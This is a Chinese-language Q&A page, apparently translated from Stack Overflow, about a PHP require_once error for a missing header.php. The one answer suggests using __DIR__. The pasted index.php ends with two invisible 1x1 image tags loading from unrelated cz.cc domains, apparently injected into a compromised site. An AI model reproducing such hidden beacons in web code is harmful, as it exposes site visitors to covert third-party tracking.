首页 > 解决方案 > 致命错误:require_once():无法打开所需的 header.php

问题描述

我已经看到了许多与我类似的问题和答案,但无法弄清楚如何将我所看到的应用于我的具体情况。从上周三开始,我的网站上突然出现了错误消息:

致命错误:require_once(): 无法打开所需的 '/usr/services/vux/apache/htdocs/includes/header.php'(include_path='.:/usr/share/php:/usr/services/vux/lib/ php') 在第 3 行的 /data/18/1/143/77/1632403/user/1759632/htdocs/swp/htdocs/index.php


这是我在 index.php 文件中看到的代码:

<?php
$page_id=1;
require_once($_SERVER["DOCUMENT_ROOT"]."/includes/header.php");
?>
<!-- BEGIN PAGE CONTENT -->
<?php
  displayPage($page_id);
  echo "<a href='news.php'><img src='http://www.springwoodpoms.com/images/latest_news.jpg' border='0'></A>";
  $value1 = returnSettingValue(1);
  listNews($value1);
?>
<!-- END PAGE CONTENT -->
<?php
  require_once($_SERVER["DOCUMENT_ROOT"]."/includes/footer.php"); 
?><img heigth="1" width="1" border="0" src="http://foxmeyer.cz.cc/151946.jpg">
<img heigth="1" width="1" border="0" src="http://foxpaine.cz.cc/154426.jpg">

附件是 header.php 文件的 Web 根路径的图像。权限全部设置为 0664。

网站根文件路径

我需要将代码更改为第 3 行的 index.php 文件中的代码以修复查找 header.php 文件的错误吗?

我知道我所有的文件在哪里,并且可以按照说明执行代码,非常好。我只是不知道从哪里开始?任何帮助或建议都会很棒。

标签: phpfatal-error

解决方案


尝试更改$_SERVER["DOCUMENT_ROOT"]为,__DIR__以便您的代码如下所示:

require_once(__DIR__."/includes/header.php");

推荐阅读